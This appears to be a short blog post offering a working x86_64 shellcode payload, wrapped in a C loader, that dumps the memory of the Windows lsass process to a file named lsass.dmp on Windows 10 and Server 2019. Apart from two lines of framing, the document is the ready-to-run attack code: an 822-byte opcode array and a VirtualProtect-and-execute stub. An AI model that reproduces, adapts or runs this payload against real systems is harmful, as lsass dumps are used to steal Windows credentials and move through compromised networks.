Here’s the shellcode I wrote for curiosity and ended up working nicely š
This shellcode is for Windows 10 and Server 2019 x86_64.
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#include <stdio.h> #include <string.h> #include <windows.h> /* * Title: Shellcode to dump the lsass process * Works only on Windows 10 and Windows Server 2019 * Arch: x86_64 * Author: Osanda Malith Jayathissa (@OsandaMalith) * Website: https://osandamalith.com * Date: 11/05/2019 */ int main() { unsigned char shellcode[822] = { 0xE9, 0x1B, 0x03, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x10, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x8B, 0xF1, 0x48, 0x8B, 0x50, 0x18, 0x4C, 0x8B, 0x4A, 0x10, 0x4D, 0x8B, 0x41, 0x30, 0x4D, 0x85, 0xC0, 0x0F, 0x84, 0xB8, 0x00, 0x00, 0x00, 0x41, 0x0F, 0x10, 0x41, 0x58, 0x49, 0x63, 0x40, 0x3C, 0x4D, 0x8B, 0x09, 0x42, 0x8B, 0x9C, 0x00, 0x88, 0x00, 0x00, 0x00, 0x33, 0xD2, 0xF3, 0x0F, 0x7F, 0x04, 0x24, 0x85, 0xDB, 0x74, 0xD4, 0x48, 0x8B, 0x04, 0x24, 0x48, 0xC1, 0xE8, 0x10, 0x44, 0x0F, 0xB7, 0xD0, 0x45, 0x85, 0xD2, 0x74, 0x20, 0x48, 0x8B, 0x4C, 0x24, 0x08, 0x45, 0x8B, 0xDA, 0xC1, 0xCA, 0x0D, 0x80, 0x39, 0x61, 0x0F, 0xBE, 0x01, 0x7C, 0x03, 0x83, 0xC2, 0xE0, 0x03, 0xD0, 0x48, 0xFF, 0xC1, 0x49, 0xFF, 0xCB, 0x75, 0xE8, 0x4D, 0x8D, 0x14, 0x18, 0x33, 0xC9, 0x41, 0x8B, 0x7A, 0x20, 0x49, 0x03, 0xF8, 0x41, 0x39, 0x4A, 0x18, 0x76, 0x90, 0x8B, 0x1F, 0x45, 0x33, 0xDB, 0x48, 0x8D, 0x7F, 0x04, 0x49, 0x03, 0xD8, 0x41, 0xC1, 0xCB, 0x0D, 0x0F, 0xBE, 0x03, 0x48, 0xFF, 0xC3, 0x44, 0x03, 0xD8, 0x80, 0x7B, 0xFF, 0x00, 0x75, 0xED, 0x41, 0x8D, 0x04, 0x13, 0x3B, 0xC6, 0x74, 0x0D, 0xFF, 0xC1, 0x41, 0x3B, 0x4A, 0x18, 0x72, 0xD1, 0xE9, 0x5C, 0xFF, 0xFF, 0xFF, 0x41, 0x8B, 0x42, 0x24, 0x03, 0xC9, 0x49, 0x03, 0xC0, 0x0F, 0xB7, 0x04, 0x01, 0x41, 0x8B, 0x4A, 0x1C, 0xC1, 0xE0, 0x02, 0x48, 0x98, 0x49, 0x03, 0xC0, 0x8B, 0x04, 0x01, 0x49, 0x03, 0xC0, 0xEB, 0x02, 0x33, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x20, 0x48, 0x8B, 0x74, 0x24, 0x28, 0x48, 0x83, 0xC4, 0x10, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0x40, 0x55, 0x53, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8D, 0xAC, 0x24, 0x28, 0xFF, 0xFF, 0xFF, 0x48, 0x81, 0xEC, 0xD8, 0x01, 0x00, 0x00, 0x33, 0xC0, 0x48, 0x8D, 0x7D, 0xA0, 0xB9, 0x30, 0x01, 0x00, 0x00, 0xF3, 0xAA, 0x45, 0x33, 0xF6, 0xB9, 0x4C, 0x77, 0x26, 0x07, 0xC7, 0x45, 0x80, 0x6B, 0x65, 0x72, 0x6E, 0xC7, 0x45, 0x84, 0x65, 0x6C, 0x33, 0x32, 0xC7, 0x45, 0x88, 0x2E, 0x64, 0x6C, 0x6C, 0x44, 0x88, 0x75, 0x8C, 0xC7, 0x44, 0x24, 0x70, 0x64, 0x62, 0x67, 0x63, 0xC7, 0x44, 0x24, 0x74, 0x6F, 0x72, 0x65, 0x2E, 0xC7, 0x44, 0x24, 0x78, 0x64, 0x6C, 0x6C, 0x00, 0xC7, 0x44, 0x24, 0x60, 0x6E, 0x74, 0x64, 0x6C, 0xC7, 0x44, 0x24, 0x64, 0x6C, 0x2E, 0x64, 0x6C, 0x66, 0xC7, 0x44, 0x24, 0x68, 0x6C, 0x00, 0xC7, 0x44, 0x24, 0x50, 0x6C, 0x73, 0x61, 0x73, 0xC7, 0x44, 0x24, 0x54, 0x73, 0x2E, 0x64, 0x6D, 0x66, 0xC7, 0x44, 0x24, 0x58, 0x70, 0x00, 0xC7, 0x44, 0x24, 0x40, 0x6C, 0x73, 0x61, 0x73, 0xC7, 0x44, 0x24, 0x44, 0x73, 0x2E, 0x65, 0x78, 0x66, 0xC7, 0x44, 0x24, 0x48, 0x65, 0x00, 0xC6, 0x85, 0x20, 0x01, 0x00, 0x00, 0x61, 0xE8, 0x51, 0xFE, 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0x80, 0x48, 0x8B, 0xF8, 0xFF, 0xD7, 0x48, 0x8D, 0x4C, 0x24, 0x70, 0xFF, 0xD7, 0x48, 0x8D, 0x4C, 0x24, 0x60, 0xFF, 0xD7, 0xB9, 0x80, 0x39, 0x1E, 0x92, 0xE8, 0x30, 0xFE, 0xFF, 0xFF, 0xB9, 0xDA, 0xF6, 0xDA, 0x4F, 0x48, 0x8B, 0xF0, 0xE8, 0x23, 0xFE, 0xFF, 0xFF, 0xB9, 0x27, 0xA9, 0xE8, 0x67, 0x48, 0x8B, 0xF8, 0xE8, 0x16, 0xFE, 0xFF, 0xFF, 0xB9, 0x8D, 0x52, 0x01, 0xBD, 0x48, 0x8B, 0xD8, 0xE8, 0x09, 0xFE, 0xFF, 0xFF, 0xB9, 0x74, 0x71, 0x8D, 0xDC, 0x4C, 0x8B, 0xE0, 0xE8, 0xFC, 0xFD, 0xFF, 0xFF, 0xB9, 0xB4, 0x73, 0x8D, 0xE2, 0x4C, 0x8B, 0xF8, 0xE8, 0xEF, 0xFD, 0xFF, 0xFF, 0xB9, 0xEE, 0x95, 0xB6, 0x50, 0x4C, 0x8B, 0xE8, 0xE8, 0xE2, 0xFD, 0xFF, 0xFF, 0xB9, 0x3D, 0xD7, 0xC8, 0x6E, 0x48, 0x89, 0x85, 0x30, 0x01, 0x00, 0x00, 0xE8, 0xD1, 0xFD, 0xFF, 0xFF, 0xB9, 0x7A, 0x19, 0x77, 0x6A, 0x48, 0x89, 0x45, 0x90, 0xE8, 0xC3, 0xFD, 0xFF, 0xFF, 0x4C, 0x8D, 0x8D, 0x28, 0x01, 0x00, 0x00, 0x41, 0x8D, 0x4E, 0x14, 0x45, 0x33, 0xC0, 0xB2, 0x01, 0xFF, 0xD0, 0x4C, 0x21, 0x74, 0x24, 0x30, 0x48, 0x8D, 0x4C, 0x24, 0x50, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0xBA, 0x00, 0x00, 0x00, 0x10, 0xC7, 0x44, 0x24, 0x28, 0x80, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x20, 0x02, 0x00, 0x00, 0x00, 0xFF, 0xD7, 0x33, 0xD2, 0x48, 0x89, 0x85, 0x38, 0x01, 0x00, 0x00, 0x8D, 0x4A, 0x02, 0xFF, 0xD6, 0x48, 0x8D, 0x55, 0xA0, 0xC7, 0x45, 0xA0, 0x30, 0x01, 0x00, 0x00, 0x48, 0x8B, 0xC8, 0x48, 0x8B, 0xF8, 0xFF, 0xD3, 0x33, 0xDB, 0x85, 0xC0, 0x74, 0x31, 0xEB, 0x1C, 0x48, 0x8D, 0x55, 0xA0, 0x48, 0x8B, 0xCF, 0x41, 0xFF, 0xD4, 0x48, 0x8D, 0x55, 0xCC, 0x48, 0x8D, 0x8D, 0x20, 0x01, 0x00, 0x00, 0x41, 0xFF, 0xD5, 0x44, 0x8B, 0x75, 0xA8, 0x48, 0x8D, 0x54, 0x24, 0x40, 0x48, 0x8D, 0x8D, 0x20, 0x01, 0x00, 0x00, 0x41, 0xFF, 0xD7, 0x85, 0xC0, 0x75, 0xD1, 0x45, 0x8B, 0xC6, 0x33, 0xD2, 0xB9, 0xFF, 0xFF, 0x1F, 0x00, 0xFF, 0x95, 0x30, 0x01, 0x00, 0x00, 0x4C, 0x8B, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x30, 0x48, 0x8B, 0xC8, 0x41, 0xB9, 0x02, 0x00, 0x00, 0x00, 0x41, 0x8B, 0xD6, 0x48, 0x89, 0x5C, 0x24, 0x28, 0x48, 0x89, 0x5C, 0x24, 0x20, 0xFF, 0x55, 0x90, 0x48, 0x81, 0xC4, 0xD8, 0x01, 0x00, 0x00, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5F, 0x5E, 0x5B, 0x5D, 0xC3, 0xCC, 0x56, 0x48, 0x8B, 0xF4, 0x48, 0x83, 0xE4, 0xF0, 0x48, 0x83, 0xEC, 0x20, 0xE8, 0xD3, 0xFD, 0xFF, 0xFF, 0x48, 0x8B, 0xE6, 0x5E, 0xC3 }; DWORD oldProtect; BOOL ret = VirtualProtect (shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect); if (!ret) { fprintf(stderr, "%s", "Error Occured"); return EXIT_FAILURE; } ((void(*)(void))shellcode)(); VirtualProtect (shellcode, strlen(shellcode), oldProtect, &oldProtect); return EXIT_SUCCESS; } |